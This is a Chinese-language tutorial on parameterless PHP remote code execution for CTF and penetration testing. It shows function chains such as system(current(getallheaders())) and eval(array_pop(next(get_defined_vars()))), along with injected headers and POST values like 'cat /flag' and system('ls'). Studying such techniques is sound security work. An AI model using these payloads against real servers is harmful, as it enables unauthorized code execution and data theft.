无参 RCE 技巧汇总

无参 RCE(Remote Code Execution)是指在无法直接向目标函数传递参数的情况下,利用 PHP 内置函数链式调用来间接实现代码执行或敏感文件读取的技术。这类技巧常见于 CTF 竞赛和渗透测试中,通常出现在 Web 应用存在 eval() / assert() / call_user_func() 等可执行代码的函数,但参数被硬编码或过滤,无法直接传入自定义字符串的场景。


一、利用 getallheaders() — HTTP 请求头注入

1.1 原理

getallheaders() 是 PHP 内置函数,用于获取当前 HTTP 请求的所有请求头信息,并以关联数组的形式返回。该函数不需要任何参数,直接调用即可获得完整的请求头数据。

结合数组指针操作函数:

  • current($array) — 返回数组当前指针指向的元素(默认指向第一个元素)

  • end($array) — 将数组内部指针移动到最后一个元素并返回其值

  • next($array) — 将数组内部指针向前移动一位并返回该元素的值

攻击者可以在自定义的 HTTP 请求头中注入恶意命令,利用上述函数提取该请求头的值并传递给 system() 执行,从而实现对无参数限制的绕过。

1.2 代码示例

方法一:使用 current() 取首元素

system(current(getallheaders()));

在 HTTP 请求头第一行添加自定义头:

x: cat /flag

方法二:使用 end() 取末元素

system(end(getallheaders()));

在 HTTP 请求头最后一行添加自定义头:

x: cat /flag

方法三:使用 next() 取第二个元素(绕过 current/end 禁用)

system(next(getallheaders()));

修改 User-Agent 请求头的值为命令:

User-Agent: cat /flag

1.3 适用场景

  • getallheaders() 未被禁用

  • 目标环境中 $_GET / $_POST / $_SERVER 等超全局变量被屏蔽或不可控

  • 只需要执行单条命令

  • 需配合 Burp Suite 或 cURL 等工具修改请求头


二、利用 get_defined_vars() — 变量回溯执行

2.1 原理

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,涵盖超全局变量($_GET$_POST$_SERVER$_COOKIE$_FILES 等)以及用户自定义变量。

利用链式调用逐层提取这些变量中的内容,最终将攻击者传入的 POST/GET 参数值作为 PHP 代码字符串交由 eval() 执行。核心在于通过 get_defined_vars() 获取到 $_POST$_GET,进而提取内部键值。

2.2 方法一:回溯 POST/GET 变量 → eval() 执行

步骤 1:信息收集 — 打印所有已定义变量

print_r(get_defined_vars());

目的:打印当前运行环境中所有已定义变量,用于发现潜在的可控输入点。

步骤 2:定位第二个数组元素(通常是 $_POST 或 $_GET)

print_r(next(get_defined_vars()));

目的:next()get_defined_vars() 返回数组的指针移向第二个元素(常见是 $_POST),缩小排查范围。

步骤 3:提取最后一个键值对的值

print_r(array_pop(next(get_defined_vars())));

目的:array_pop() 弹出并返回数组的最后一个元素。若 $_POST 的最后一个元素是攻击者传入的参数值(例如 WX=system('ls')),则可以直接获取该值。

步骤 4:最终执行 — 替换 print_r 为 eval

eval(array_pop(next(get_defined_vars())));